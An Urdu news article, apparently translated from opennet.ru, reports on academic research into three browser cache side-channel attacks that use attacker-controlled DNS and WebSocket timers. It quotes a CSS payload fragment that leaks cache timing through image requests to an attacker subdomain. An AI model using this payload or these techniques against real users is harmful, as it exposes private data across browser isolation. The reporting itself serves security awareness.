کئی امریکی، اسرائیلی اور آسٹریلوی یونیورسٹیوں کے محققین کے ایک گروپ نے تین حملے تیار کیے جو ویب براؤزر میں CPU کیشے کے مواد کے بارے میں معلومات نکالنے کے لیے کام کرتے ہیں۔ ایک طریقہ جاوا اسکرپٹ کے بغیر براؤزرز میں کام کرتا ہے، جبکہ دوسرے دو سائڈ چینل حملوں سے تحفظ کے موجودہ طریقوں کو نظرانداز کرتے ہیں، بشمول Tor براؤزر اور DeterFox میں استعمال ہونے والے۔ حملوں کو ظاہر کرنے کے لیے کوڈ، نیز حملوں کے لیے درکار سرور کے اجزاء، GitHub پر شائع کیے گئے ہیں۔
تمام حملے کیشے کے مواد کا تجزیہ کرنے کے لیے Prime+Probe طریقہ استعمال کرتے ہیں۔ اس طریقہ کار میں کیشے کو اقدار کے حوالہ جات کے ساتھ آباد کرنا اور دوبارہ آباد کرتے وقت رسائی کے اوقات کی پیمائش کرکے تبدیلیوں کا پتہ لگانا شامل ہے۔ براؤزر کے تحفظ کے میکانزم کو نظرانداز کرنے کے لیے جو درست وقت کو روکتے ہیں، دو قسمیں حملہ آور کے زیر کنٹرول DNS یا WebSocket سرور تک رسائی حاصل کرتی ہیں، جو درخواست کے اوقات کا ایک لاگ برقرار رکھتا ہے۔ ایک متغیر حوالہ وقت کے طور پر ایک مقررہ DNS رسپانس ٹائم استعمال کرتا ہے۔
مشین لرننگ پر مبنی درجہ بندی کے نظام کی بدولت بیرونی DNS یا WebSocket سرورز کا استعمال کرتے ہوئے کی گئی پیمائشیں بہترین صورت حال میں 98% تک درستگی کے ساتھ اقدار کی پیش گوئی کرنے کے لیے کافی تھیں (اوسطاً 80-90%)۔ حملے کے طریقوں کو مختلف ہارڈویئر پلیٹ فارمز (Intel, AMD Ryzen, Apple M1, Samsung Exynos) پر آزمایا گیا اور یہ ثابت ہوا کہ یہ عالمی طور پر قابل اطلاق ہیں۔

"DNS ریسنگ" اٹیک کا پہلا ورژن JavaScript arrays کا استعمال کرتے ہوئے Prime+Probe طریقہ کے کلاسک نفاذ کا استعمال کرتا ہے۔ اختلافات بیرونی DNS پر مبنی ٹائمر اور ایک اون ایرر ہینڈلر کے استعمال میں پائے جاتے ہیں، جو اس وقت شروع ہوتا ہے جب کسی غیر موجود ڈومین سے تصویر لوڈ کرنے کی کوشش کی جاتی ہے۔ بیرونی ٹائمر پرائم + پروب اٹیک کو براؤزرز میں انجام دینے کی اجازت دیتا ہے جو JavaScript ٹائمرز تک رسائی کو محدود یا مکمل طور پر غیر فعال کرتے ہیں۔
اسی ایتھرنیٹ نیٹ ورک پر واقع ڈی این ایس سرور کے لیے، ٹائمر کی درستگی کا تخمینہ تقریباً 2 ایم ایس لگایا گیا ہے، جو کہ سائیڈ چینل اٹیک کے لیے کافی ہے (مقابلے کے لیے، ٹور براؤزر میں ڈیفالٹ جاوا اسکرپٹ ٹائمر کی درستگی کو کم کر کے 100 ایم ایس کر دیا گیا ہے)۔ حملے کے لیے DNS سرور کے کنٹرول کی ضرورت نہیں ہوتی، کیونکہ آپریشن کے عمل کے وقت کو ایڈجسٹ کیا جاتا ہے تاکہ DNS رسپانس ٹائم چیک کے پہلے مکمل ہونے کی نشاندہی کرتا ہے (اس بات پر منحصر ہے کہ آیا اونر ہینڈلر پہلے یا بعد میں متحرک ہوا ہے، کیش چیک آپریشن کی رفتار کے بارے میں ایک اندازہ لگایا جاتا ہے)۔
حملہ کرنے کا دوسرا طریقہ، "سٹرنگ اور ساک" کا مقصد حفاظتی اقدامات کو نظرانداز کرنا ہے جو JavaScript میں صفوں کے نچلے درجے کے استعمال کو محدود کرتے ہیں۔ صفوں کے بجائے، "سٹرنگ اور ساک" بہت بڑی تاروں پر کارروائیوں کا استعمال کرتا ہے، جس کا سائز منتخب کیا جاتا ہے تاکہ متغیر پورے ایل ایل سی (لاسٹ لیول کیشے) کا احاطہ کرے۔ پھر، indexOf() فنکشن کا استعمال کرتے ہوئے، اسٹرنگ کو ایک چھوٹی سب اسٹرنگ کے لیے تلاش کیا جاتا ہے جو کہ اصل اسٹرنگ سے ابتدائی طور پر غائب ہے، یعنی سرچ آپریشن پوری اسٹرنگ کو شمار کرتا ہے۔ چونکہ سٹرنگ کا سائز LLC کیشے کے سائز سے مساوی ہے، اس لیے اسکیننگ صفوں میں ہیرا پھیری کیے بغیر کیش چیک کرنے کی اجازت دیتی ہے۔ تاخیر کی پیمائش کرنے کے لیے، DNS کو حملہ آور کے زیر کنٹرول ویب ساکٹ سرور پر کال سے بدل دیا جاتا ہے۔ سرچ آپریشن سے پہلے اور بعد میں درخواستیں بھیجی جاتی ہیں، جس کی بنیاد پر سرور کیشے کے مواد کا تجزیہ کرنے کے لیے استعمال ہونے والی تاخیر کا حساب لگایا جاتا ہے۔
"CSS PP0" حملے کا تیسرا ورژن HTML اور CSS کے ذریعے لاگو کیا گیا ہے اور یہ جاوا اسکرپٹ کو غیر فعال کرنے والے براؤزرز میں کام کر سکتا ہے۔ یہ طریقہ "سٹرنگ اور ساک" جیسا ہے لیکن جاوا اسکرپٹ سے منسلک نہیں ہے۔ حملہ CSS سلیکٹرز کا ایک سیٹ تیار کرتا ہے جو ماسک کے ذریعے تلاش کرتے ہیں۔ ابتدائی بڑی تار جو کیشے کو بھرتی ہے اس کی وضاحت ایک بہت بڑے کلاس نام کے ساتھ ایک div ٹیگ بنا کر کی جاتی ہے۔ اندر، ان کی اپنی IDs کے ساتھ دیگر divs کا ایک سیٹ رکھا گیا ہے۔ ان میں سے ہر ایک نیسٹڈ divs کے لیے، اس کے اپنے انداز کی وضاحت ایک سلیکٹر کے ساتھ کی گئی ہے جو سب اسٹرنگ کو تلاش کرتا ہے۔ صفحہ کو رینڈر کرتے وقت، براؤزر پہلے اندرونی divs پر کارروائی کرنے کی کوشش کرتا ہے، جس کی وجہ سے بڑے سٹرنگ میں سرچ آپریشن ہوتا ہے۔ تلاش ایک واضح طور پر غائب ماسک کے ذریعہ کی جاتی ہے اور پوری سٹرنگ کی تکرار کا باعث بنتی ہے، جس کے بعد "نہیں" حالت کو متحرک کیا جاتا ہے اور بے ترتیب حوالہ دینے والی پس منظر کی تصویر کو لوڈ کرنے کی کوشش کی جاتی ہے۔ ڈومینز: #pp:not([class*=’xjtoxg’]) #s0 {background-image: url(«https://qdlvibmr.helldomain.oy.ne.ro»);} #pp:not([class*=’gzstxf’]) #s1 {background-image: url(«https://licfsdju.helldomain.oy.ne.ro»);} … ایکس ایکس …
ذیلی ڈومینز حملہ آور کے DNS سرور کے ذریعہ پیش کیے جاتے ہیں، جو درخواستیں موصول ہونے میں تاخیر کی پیمائش کر سکتے ہیں۔ DNS سرور تمام درخواستوں کے لیے NXDOMAIN واپس کرتا ہے اور درخواستوں کے صحیح وقت کو لاگ کرتا ہے۔ divs کے ایک سیٹ پر کارروائی کرنے کے نتیجے میں حملہ آور کے DNS سرور سے درخواستوں کی ایک سیریز ہوتی ہے، جن کے درمیان تاخیر کیش چیک کے نتائج سے منسلک ہوتی ہے۔

ماخذ: opennet.ru
